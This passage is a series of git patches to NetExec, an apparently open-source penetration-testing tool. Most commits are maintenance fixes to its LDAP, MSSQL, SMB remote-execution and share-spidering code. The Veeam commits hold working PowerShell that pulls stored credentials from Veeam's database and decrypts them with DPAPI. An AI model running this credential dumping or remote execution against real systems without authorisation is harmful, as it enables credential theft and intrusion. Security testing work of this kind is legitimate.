self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<9}{'-Description-':<60}") From f282ca7dae4708b6c6034ada4b8aa5af90a3a34f Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 8 Feb 2025 18:21:34 -0500 Subject: [PATCH 31/78] Fix format string --- nxc/protocols/ldap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index fd59b61e..33960d62 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -772,7 +772,7 @@ class ldap(connection): pwd_last_set = user.get("pwdLastSet", "") if pwd_last_set: pwd_last_set = "" if pwd_last_set == "0" else datetime.fromtimestamp(self.getUnixTime(int(pwd_last_set))).strftime("%Y-%m-%d %H:%M:%S") - self.logger.highlight(f"{user.get("sAMAccountName", ''):<30}{pwd_last_set:<20}{user.get("badPwdCount", ''):<9}{user.get("description", '')}") + self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{user.get('badPwdCount', ''):<9}{user.get('description', '')}") def asreproast(self): if self.password == "" and self.nthash == "" and self.kerberos is False: From 5969756b35c42ef0e9e822abc67d42d7fc3118b5 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 8 Feb 2025 19:59:50 -0500 Subject: [PATCH 32/78] Fix hardcoded option to arg --- nxc/protocols/mssql/mssqlexec.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/mssql/mssqlexec.py b/nxc/protocols/mssql/mssqlexec.py index 46fd7b8e..3436a002 100755 --- a/nxc/protocols/mssql/mssqlexec.py +++ b/nxc/protocols/mssql/mssqlexec.py @@ -48,7 +48,7 @@ class MSSQLEXEC: def backup_and_enable(self, option): try: - self.backuped_options[option] = self.is_option_enabled("show advanced options") + self.backuped_options[option] = self.is_option_enabled(option) if not self.backuped_options[option]: self.logger.debug(f"Option '{option}' is disabled, attempting to enable it.") query = f"EXEC master.dbo.sp_configure '{option}', 1;RECONFIGURE;" From 5e14baee44adcce296a160578d1b750fb445ff1a Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 11 Feb 2025 18:00:08 -0500 Subject: [PATCH 33/78] Fix #564 --- nxc/protocols/smb/passpol.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/smb/passpol.py b/nxc/protocols/smb/passpol.py index fa1bcb20..dbea1931 100644 --- a/nxc/protocols/smb/passpol.py +++ b/nxc/protocols/smb/passpol.py @@ -23,7 +23,7 @@ def convert(low, high, lockout=False): time = "" tmp = 0 - if low == 0 and hex(high) == "-0x80000000": + if low == 0 and high == -0x8000_0000 or low == 0 and high == -0x8000_0000_0000_0000: return "Not Set" if low == 0 and high == 0: return "None" @@ -35,7 +35,7 @@ def convert(low, high, lockout=False): high = abs(high) low = abs(low) - tmp = low + (high) * 16**8 # convert to 64bit int + tmp = low + (high << 32) # convert to 64bit int tmp *= 1e-7 # convert to seconds else: tmp = abs(high) * (1e-7) From 1d4b4cbc60820615a258e5f7cd515e7653579ac2 Mon Sep 17 00:00:00 2001 From: jdholtz Date: Sun, 16 Feb 2025 22:56:17 -0800 Subject: [PATCH 34/78] [smb] Always delete output file --- nxc/protocols/smb/atexec.py | 4 +++- nxc/protocols/smb/mmcexec.py | 4 +++- nxc/protocols/smb/smbexec.py | 4 +++- nxc/protocols/smb/wmiexec.py | 4 +++- 4 files changed, 12 insertions(+), 4 deletions(-) diff --git a/nxc/protocols/smb/atexec.py b/nxc/protocols/smb/atexec.py index b0ed35b4..00bba6fe 100755 --- a/nxc/protocols/smb/atexec.py +++ b/nxc/protocols/smb/atexec.py @@ -207,8 +207,10 @@ class TSCH_EXEC: else: self.logger.debug(str(e)) - if self.__outputBuffer: + try: self.logger.debug(f"Deleting file {self.__share}\\{self.__output_filename}") smbConnection.deleteFile(self.__share, self.__output_filename) + except Exception: + pass dce.disconnect() diff --git a/nxc/protocols/smb/mmcexec.py b/nxc/protocols/smb/mmcexec.py index 57d30d4a..3112a374 100644 --- a/nxc/protocols/smb/mmcexec.py +++ b/nxc/protocols/smb/mmcexec.py @@ -280,6 +280,8 @@ class MMCEXEC: else: self.logger.debug(str(e)) - if self.__outputBuffer: + try: self.logger.debug(f"Deleting file {self.__share}\\{self.__output}") self.__smbconnection.deleteFile(self.__share, self.__output) + except Exception: + pass diff --git a/nxc/protocols/smb/smbexec.py b/nxc/protocols/smb/smbexec.py index ab043dbf..2f9a6843 100755 --- a/nxc/protocols/smb/smbexec.py +++ b/nxc/protocols/smb/smbexec.py @@ -172,9 +172,11 @@ class SMBEXEC: else: self.logger.debug(str(e)) - if self.__outputBuffer: + try: self.logger.debug(f"Deleting file {self.__share}\\{self.__output}") self.__smbconnection.deleteFile(self.__share, self.__output) + except Exception: + pass def execute_fileless(self, data): self.__output = gen_random_string(6) diff --git a/nxc/protocols/smb/wmiexec.py b/nxc/protocols/smb/wmiexec.py index b90882b7..6fad376a 100755 --- a/nxc/protocols/smb/wmiexec.py +++ b/nxc/protocols/smb/wmiexec.py @@ -171,6 +171,8 @@ class WMIEXEC: else: self.logger.debug(f"Exception when trying to read output file: {e}") - if self.__outputBuffer: + try: self.logger.debug(f"Deleting file {self.__share}\\{self.__output}") self.__smbconnection.deleteFile(self.__share, self.__output) + except Exception: + pass From 4de3f32629145676d01219085ae583b40de386b6 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 18 Feb 2025 10:24:14 -0500 Subject: [PATCH 35/78] Add exception handling for listing a single folder --- nxc/modules/spider_plus.py | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/nxc/modules/spider_plus.py b/nxc/modules/spider_plus.py index da7d1bec..7593952b 100755 --- a/nxc/modules/spider_plus.py +++ b/nxc/modules/spider_plus.py @@ -3,10 +3,11 @@ import errno from os.path import abspath, join, split, exists, splitext, getsize, sep from os import makedirs, remove, stat import time -from nxc.paths import TMP_PATH +from nxc.paths import NXC_PATH from nxc.protocols.smb.remotefile import RemoteFile from impacket.smb3structs import FILE_READ_DATA from impacket.smbconnection import SessionError +from impacket.nmb import NetBIOSTimeout CHUNK_SIZE = 4096 @@ -213,9 +214,9 @@ class SMBSpiderPlus: # Start the spider at the root of the share folder self.results[share_name] = {} self.spider_folder(share_name, "") - except SessionError as e: + except (SessionError, NetBIOSTimeout) as e: self.logger.exception(e) - self.logger.fail("Got a session error while spidering.") + self.logger.fail(f"Got a session or NetBIOSTimeout error while spidering share: {share_name}") self.reconnect() except Exception as e: @@ -238,7 +239,11 @@ class SMBSpiderPlus: """ self.logger.info(f'Spider share "{share_name}" in folder "{folder}".') - filelist = self.list_path(share_name, folder + "*") + try: + filelist = self.list_path(share_name, folder + "*") + except Exception: + self.logger.fail(f"Error listing path: {share_name}:/{folder}. Skipping...") + return # For each entry: # - It's a folder then we spider it (skipping `.` and `..`) From 1476373519bf0c5ecf9ad6e09eeb251b02636bdf Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 18 Feb 2025 10:25:43 -0500 Subject: [PATCH 36/78] Change output path from temp to nxc folder --- nxc/modules/spider_plus.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/modules/spider_plus.py b/nxc/modules/spider_plus.py index 7593952b..a45a240e 100755 --- a/nxc/modules/spider_plus.py +++ b/nxc/modules/spider_plus.py @@ -491,7 +491,7 @@ class NXCModule: EXCLUDE_EXTS Case-insensitive extension filter to exclude (Default: ico,lnk) EXCLUDE_FILTER Case-insensitive filter to exclude folders/files (Default: print$,ipc$) MAX_FILE_SIZE Max file size to download (Default: 51200) - OUTPUT_FOLDER Path of the local folder to save files (Default: /tmp/nxc_spider_plus) + OUTPUT_FOLDER Path of the local folder to save files (Default: ~/.nxc/nxc_spider_plus) """ self.download_flag = False if any("DOWNLOAD" in key for key in module_options): @@ -504,7 +504,7 @@ class NXCModule: self.exclude_filter = get_list_from_option(module_options.get("EXCLUDE_FILTER", "print$,ipc$")) self.exclude_filter = [d.lower() for d in self.exclude_filter] # force case-insensitive self.max_file_size = int(module_options.get("MAX_FILE_SIZE", 50 * 1024)) - self.output_folder = module_options.get("OUTPUT_FOLDER", abspath(join(TMP_PATH, "nxc_spider_plus"))) + self.output_folder = module_options.get("OUTPUT_FOLDER", abspath(join(NXC_PATH, "modules/nxc_spider_plus"))) def on_login(self, context, connection): context.log.display("Started module spidering_plus with the following options:") From 39f1309ff2e8b8e481445ac9ea59ae0d3752a3a0 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 18 Feb 2025 10:29:49 -0500 Subject: [PATCH 37/78] Formating --- nxc/modules/spider_plus.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/nxc/modules/spider_plus.py b/nxc/modules/spider_plus.py index a45a240e..4526aa51 100755 --- a/nxc/modules/spider_plus.py +++ b/nxc/modules/spider_plus.py @@ -122,13 +122,10 @@ class SMBSpiderPlus: if "STATUS_ACCESS_DENIED" in str(e): self.logger.debug(f'Cannot list files in folder "{subfolder}".') - elif "STATUS_OBJECT_PATH_NOT_FOUND" in str(e): self.logger.debug(f"The folder {subfolder} does not exist.") - elif self.reconnect(): filelist = self.list_path(share, subfolder) - return filelist def get_remote_file(self, share, path): From 0cc9a452f21b29380835434e79e729fb6c7519a4 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 18 Feb 2025 12:26:00 -0500 Subject: [PATCH 38/78] Add exception handling for NetBIOSTimeout Exceptions --- nxc/modules/spider_plus.py | 15 ++++++--------- 1 file changed, 6 insertions(+), 9 deletions(-) diff --git a/nxc/modules/spider_plus.py b/nxc/modules/spider_plus.py index 4526aa51..9ccc148d 100755 --- a/nxc/modules/spider_plus.py +++ b/nxc/modules/spider_plus.py @@ -117,8 +117,7 @@ class SMBSpiderPlus: filelist = self.smb.conn.listPath(share, subfolder + "*") except SessionError as e: - self.logger.debug(f'Failed listing files on share "{share}" in folder "{subfolder}".') - self.logger.debug(str(e)) + self.logger.debug(f'Failed listing files on share "{share}" in folder "{subfolder}": {e!s}') if "STATUS_ACCESS_DENIED" in str(e): self.logger.debug(f'Cannot list files in folder "{subfolder}".') @@ -126,6 +125,8 @@ class SMBSpiderPlus: self.logger.debug(f"The folder {subfolder} does not exist.") elif self.reconnect(): filelist = self.list_path(share, subfolder) + except NetBIOSTimeout as e: + self.logger.debug(f'Failed listing files on share "{share}" in folder "{subfolder}": {e!s}') return filelist def get_remote_file(self, share, path): @@ -164,7 +165,7 @@ class SMBSpiderPlus: def get_file_save_path(self, remote_file): r"""Processes the remote file path to extract the filename and the folder path where the file should be saved locally. - + It converts forward slashes (/) and backslashes (\) in the remote file path to the appropriate path separator for the local file system. The folder path and filename are then obtained separately. """ @@ -236,11 +237,7 @@ class SMBSpiderPlus: """ self.logger.info(f'Spider share "{share_name}" in folder "{folder}".') - try: - filelist = self.list_path(share_name, folder + "*") - except Exception: - self.logger.fail(f"Error listing path: {share_name}:/{folder}. Skipping...") - return + filelist = self.list_path(share_name, folder + "*") # For each entry: # - It's a folder then we spider it (skipping `.` and `..`) @@ -376,7 +373,7 @@ class SMBSpiderPlus: def dump_folder_metadata(self, results): """Takes the metadata results as input and writes them to a JSON file in the `self.output_folder`. - + The results are formatted with indentation and sorted keys before being written to the file. """ metadata_path = join(self.output_folder, f"{self.host}.json") From 18f7033acd27e79cabaf80656b77484317402472 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 19 Feb 2025 13:06:37 -0500 Subject: [PATCH 39/78] Add salted dpapi decryption for latest veeam installations --- .../veeam_dump_module/veeam_dump_mssql.ps1 | 32 +++++++++++++++-- .../veeam_dump_postgresql.ps1 | 36 ++++++++++++++++--- nxc/modules/veeam.py | 29 +++++++++++---- 3 files changed, 82 insertions(+), 15 deletions(-) diff --git a/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 b/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 index 3d14ccc5..6701e403 100644 --- a/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 +++ b/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 @@ -1,6 +1,7 @@ $SqlDatabaseName = "REPLACE_ME_SqlDatabase" $SqlServerName = "REPLACE_ME_SqlServer" $SqlInstanceName = "REPLACE_ME_SqlInstance" +$b64Salt = "REPLACE_ME_b64Salt" #Forming the connection string $SQL = "SELECT [user_name] AS 'User',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords @@ -29,12 +30,37 @@ if ($rows.count -eq 0) { } Add-Type -assembly System.Security -#Decrypting passwords using DPAPI +# Decrypting passwords using DPAPI $rows | ForEach-Object -Process { $EnryptedPWD = [Convert]::FromBase64String($_.password) - $ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine ) $enc = [system.text.encoding]::Default - $_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR' + + try { + # Decrypt password with DPAPI (old Veeam versions) + $raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine ) + $pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR' + } catch { + try{ + # Decrypt password with salted DPAPI (new Veeam versions) + $salt = [System.Convert]::FromBase64String($b64Salt) + $hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EnryptedPWD.Length * 2) + foreach ($byte in $EnryptedPWD) + { + $hex.AppendFormat("{0:x2}", $byte) > $null + } + $hex = $hex.ToString().Substring(74,$hex.Length-74) + $EnryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2) + for ($i = 0; $i -lt $hex.Length; $i += 2) + { + $EnryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16) + } + $raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EnryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine) + $pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR' + }catch { + $pw_string = "COULD_NOT_DECRYPT" + } + } + $_.password = $pw_string } Write-Output $rows | Format-Table -HideTableHeaders | Out-String diff --git a/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 b/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 index 16ad63f3..695836aa 100644 --- a/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 +++ b/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 @@ -1,8 +1,9 @@ $PostgreSqlExec = "REPLACE_ME_PostgreSqlExec" $PostgresUserForWindowsAuth = "REPLACE_ME_PostgresUserForWindowsAuth" $SqlDatabaseName = "REPLACE_ME_SqlDatabaseName" +$b64Salt = "REPLACE_ME_b64Salt" -$SQLStatement = "SELECT user_name AS User,password AS Password FROM credentials WHERE password != '';" +$SQLStatement = "SELECT user_name AS User, password AS Password, description AS Description FROM credentials WHERE password != '';" $output = . $PostgreSqlExec -U $PostgresUserForWindowsAuth -w -d $SqlDatabaseName -c $SQLStatement --csv | ConvertFrom-Csv if ($output.count -eq 0) { @@ -10,13 +11,38 @@ if ($output.count -eq 0) { exit } +# Decrypting passwords using DPAPI Add-Type -assembly System.Security -#Decrypting passwords using DPAPI $output | ForEach-Object -Process { - $EnryptedPWD = [Convert]::FromBase64String($_.password) - $ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine ) + $EnryptedPWD = [Convert]::FromBase64String($_.password) $enc = [system.text.encoding]::Default - $_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR' + + try { + # Decrypt password with DPAPI (old Veeam versions) + $raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine ) + $pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR' + } catch { + try{ + # Decrypt password with salted DPAPI (new Veeam versions) + $salt = [System.Convert]::FromBase64String($b64Salt) + $hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EnryptedPWD.Length * 2) + foreach ($byte in $EnryptedPWD) + { + $hex.AppendFormat("{0:x2}", $byte) > $null + } + $hex = $hex.ToString().Substring(74,$hex.Length-74) + $EnryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2) + for ($i = 0; $i -lt $hex.Length; $i += 2) + { + $EnryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16) + } + $raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EnryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine) + $pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR' + }catch { + $pw_string = "COULD_NOT_DECRYPT" + } + } + $_.password = $pw_string } Write-Output $output | Format-Table -HideTableHeaders | Out-String \ No newline at end of file diff --git a/nxc/modules/veeam.py b/nxc/modules/veeam.py index cd2fc0cb..6f61071a 100644 --- a/nxc/modules/veeam.py +++ b/nxc/modules/veeam.py @@ -40,6 +40,9 @@ class NXCModule: PostgresUserForWindowsAuth = "" SqlDatabaseName = "" + # Salt for newer Veeam versions + salt = "" + try: remoteOps = RemoteOperations(connection.conn, False) remoteOps.enableRegistry() @@ -72,6 +75,8 @@ class NXCModule: SqlDatabase = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0] SqlInstance = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlInstanceName")[1].split("\x00")[:-1][0] SqlServer = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlServerName")[1].split("\x00")[:-1][0] + + salt = self.get_salt(context, remoteOps, regHandle) except DCERPCException as e: if str(e).find("ERROR_FILE_NOT_FOUND"): context.log.debug("No Veeam v12 installation found") @@ -107,28 +112,38 @@ class NXCModule: # Check if we found an SQL Server of some kind if SqlDatabase and SqlInstance and SqlServer: context.log.success(f'Found Veeam DB "{SqlDatabase}" on SQL Server "{SqlServer}\\{SqlInstance}"! Extracting stored credentials...') - credentials = self.executePsMssql(context, connection, SqlDatabase, SqlInstance, SqlServer) + credentials = self.executePsMssql(connection, SqlDatabase, SqlInstance, SqlServer, salt) self.printCreds(context, credentials) elif PostgreSqlExec and PostgresUserForWindowsAuth and SqlDatabaseName: context.log.success(f'Found Veeam DB "{SqlDatabaseName}" on an PostgreSQL Instance! Extracting stored credentials...') - credentials = self.executePsPostgreSql(context, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName) + credentials = self.executePsPostgreSql(connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName, salt) self.printCreds(context, credentials) - def stripXmlOutput(self, context, output): - return output.split("CLIXML")[1].split(" Date: Wed, 19 Feb 2025 13:06:59 -0500 Subject: [PATCH 40/78] Correct spelling --- nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 | 14 +++++++------- .../veeam_dump_module/veeam_dump_postgresql.ps1 | 14 +++++++------- 2 files changed, 14 insertions(+), 14 deletions(-) diff --git a/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 b/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 index 6701e403..b0f1fca4 100644 --- a/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 +++ b/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 @@ -32,29 +32,29 @@ if ($rows.count -eq 0) { Add-Type -assembly System.Security # Decrypting passwords using DPAPI $rows | ForEach-Object -Process { - $EnryptedPWD = [Convert]::FromBase64String($_.password) + $EncryptedPWD = [Convert]::FromBase64String($_.password) $enc = [system.text.encoding]::Default try { # Decrypt password with DPAPI (old Veeam versions) - $raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine ) + $raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine ) $pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR' } catch { try{ # Decrypt password with salted DPAPI (new Veeam versions) $salt = [System.Convert]::FromBase64String($b64Salt) - $hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EnryptedPWD.Length * 2) - foreach ($byte in $EnryptedPWD) + $hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2) + foreach ($byte in $EncryptedPWD) { $hex.AppendFormat("{0:x2}", $byte) > $null } $hex = $hex.ToString().Substring(74,$hex.Length-74) - $EnryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2) + $EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2) for ($i = 0; $i -lt $hex.Length; $i += 2) { - $EnryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16) + $EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16) } - $raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EnryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine) + $raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine) $pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR' }catch { $pw_string = "COULD_NOT_DECRYPT" diff --git a/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 b/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 index 695836aa..d4b6e27d 100644 --- a/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 +++ b/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 @@ -14,29 +14,29 @@ if ($output.count -eq 0) { # Decrypting passwords using DPAPI Add-Type -assembly System.Security $output | ForEach-Object -Process { - $EnryptedPWD = [Convert]::FromBase64String($_.password) + $EncryptedPWD = [Convert]::FromBase64String($_.password) $enc = [system.text.encoding]::Default try { # Decrypt password with DPAPI (old Veeam versions) - $raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine ) + $raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine ) $pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR' } catch { try{ # Decrypt password with salted DPAPI (new Veeam versions) $salt = [System.Convert]::FromBase64String($b64Salt) - $hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EnryptedPWD.Length * 2) - foreach ($byte in $EnryptedPWD) + $hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2) + foreach ($byte in $EncryptedPWD) { $hex.AppendFormat("{0:x2}", $byte) > $null } $hex = $hex.ToString().Substring(74,$hex.Length-74) - $EnryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2) + $EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2) for ($i = 0; $i -lt $hex.Length; $i += 2) { - $EnryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16) + $EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16) } - $raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EnryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine) + $raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine) $pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR' }catch { $pw_string = "COULD_NOT_DECRYPT" From 3235b1d9df4e4d1e7c5f00f0129d19857c1dc9ef Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 19 Feb 2025 13:53:24 -0500 Subject: [PATCH 41/78] Add description to output --- .../veeam_dump_module/veeam_dump_mssql.ps1 | 4 +++- .../veeam_dump_postgresql.ps1 | 4 +++- nxc/modules/veeam.py | 18 ++++++++++++------ 3 files changed, 18 insertions(+), 8 deletions(-) diff --git a/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 b/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 index b0f1fca4..c0df4c25 100644 --- a/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 +++ b/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 @@ -60,7 +60,9 @@ $rows | ForEach-Object -Process { $pw_string = "COULD_NOT_DECRYPT" } } + $_.user = $_.user -replace '\s', 'WHITESPACE_ERROR' $_.password = $pw_string + $_.description = $_.description -replace '\s', 'WHITESPACE_ERROR' } -Write-Output $rows | Format-Table -HideTableHeaders | Out-String +Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000 diff --git a/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 b/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 index d4b6e27d..cb198826 100644 --- a/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 +++ b/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 @@ -42,7 +42,9 @@ $output | ForEach-Object -Process { $pw_string = "COULD_NOT_DECRYPT" } } + $_.user = $_.user -replace '\s', 'WHITESPACE_ERROR' $_.password = $pw_string + $_.description = $_.description -replace '\s', 'WHITESPACE_ERROR' } -Write-Output $output | Format-Table -HideTableHeaders | Out-String \ No newline at end of file +Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000 \ No newline at end of file diff --git a/nxc/modules/veeam.py b/nxc/modules/veeam.py index 6f61071a..63e1ea87 100644 --- a/nxc/modules/veeam.py +++ b/nxc/modules/veeam.py @@ -167,13 +167,19 @@ class NXCModule: # When powershell returns something else than the usernames and passwords account.split() will throw a ValueError. # This is likely an error thrown by powershell, so we print the error and the output for debugging purposes. try: + context.log.highlight(f"{'Username':<30} {'Password':<30} {'Description'}") + context.log.highlight(f"{'--------':<30} {'--------':<30} {'-----------'}") for account in output_stripped: - user, password = account.split(" ", 1) - password = password.strip().replace("WHITESPACE_ERROR", " ") - user = user.strip() - context.log.highlight(f"{user}:{password}") - if " " in password: - context.log.fail(f'Password contains whitespaces! The password for user "{user}" is: "{password}"') + # Remove multiple whitespaces + account = " ".join(account.split()) + try: + user, password, description = account.split(" ", 2) + except ValueError: + user, password = account.split(" ", 1) + user = user.strip().replace("WHITESPACE_ERROR", " ").strip() + password = password.strip().replace("WHITESPACE_ERROR", " ").strip() + description = description.strip().replace("WHITESPACE_ERROR", " ").strip() + context.log.highlight(f"{user:<30} {password:<30} {description}") except ValueError: context.log.fail(f"Powershell returned unexpected output: {output_stripped}") context.log.fail("Please report this issue on GitHub!") From 342a13021b0fcb61fae6bc32ae2f1e14b559f076 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 19 Feb 2025 14:38:13 -0500 Subject: [PATCH 42/78] Bug fixes and output formating --- nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 | 8 ++++---- nxc/modules/veeam.py | 7 ++++--- 2 files changed, 8 insertions(+), 7 deletions(-) diff --git a/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 b/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 index c0df4c25..ad3f2ddd 100644 --- a/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 +++ b/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 @@ -4,7 +4,7 @@ $SqlInstanceName = "REPLACE_ME_SqlInstance" $b64Salt = "REPLACE_ME_b64Salt" #Forming the connection string -$SQL = "SELECT [user_name] AS 'User',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords +$SQL = "SELECT [user_name] AS 'User', [password] AS 'Password', [description] AS 'Description' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords $auth = "Integrated Security=SSPI;" #Local user $connectionString = "Provider=sqloledb; Data Source=$SqlServerName\$SqlInstanceName; Initial Catalog=$SqlDatabaseName; $auth;" $connection = New-Object System.Data.OleDb.OleDbConnection $connectionString @@ -23,15 +23,15 @@ catch { exit -1 } -$rows=($dataset.Tables | Select-Object -Expand Rows) -if ($rows.count -eq 0) { +$output=($dataset.Tables | Select-Object -Expand Rows) +if ($output.count -eq 0) { Write-Host "No passwords found!" exit } Add-Type -assembly System.Security # Decrypting passwords using DPAPI -$rows | ForEach-Object -Process { +$output | ForEach-Object -Process { $EncryptedPWD = [Convert]::FromBase64String($_.password) $enc = [system.text.encoding]::Default diff --git a/nxc/modules/veeam.py b/nxc/modules/veeam.py index 63e1ea87..d1649124 100644 --- a/nxc/modules/veeam.py +++ b/nxc/modules/veeam.py @@ -167,8 +167,8 @@ class NXCModule: # When powershell returns something else than the usernames and passwords account.split() will throw a ValueError. # This is likely an error thrown by powershell, so we print the error and the output for debugging purposes. try: - context.log.highlight(f"{'Username':<30} {'Password':<30} {'Description'}") - context.log.highlight(f"{'--------':<30} {'--------':<30} {'-----------'}") + context.log.highlight(f"{'Username':<40} {'Password':<40} {'Description'}") + context.log.highlight(f"{'--------':<40} {'--------':<40} {'-----------'}") for account in output_stripped: # Remove multiple whitespaces account = " ".join(account.split()) @@ -176,10 +176,11 @@ class NXCModule: user, password, description = account.split(" ", 2) except ValueError: user, password = account.split(" ", 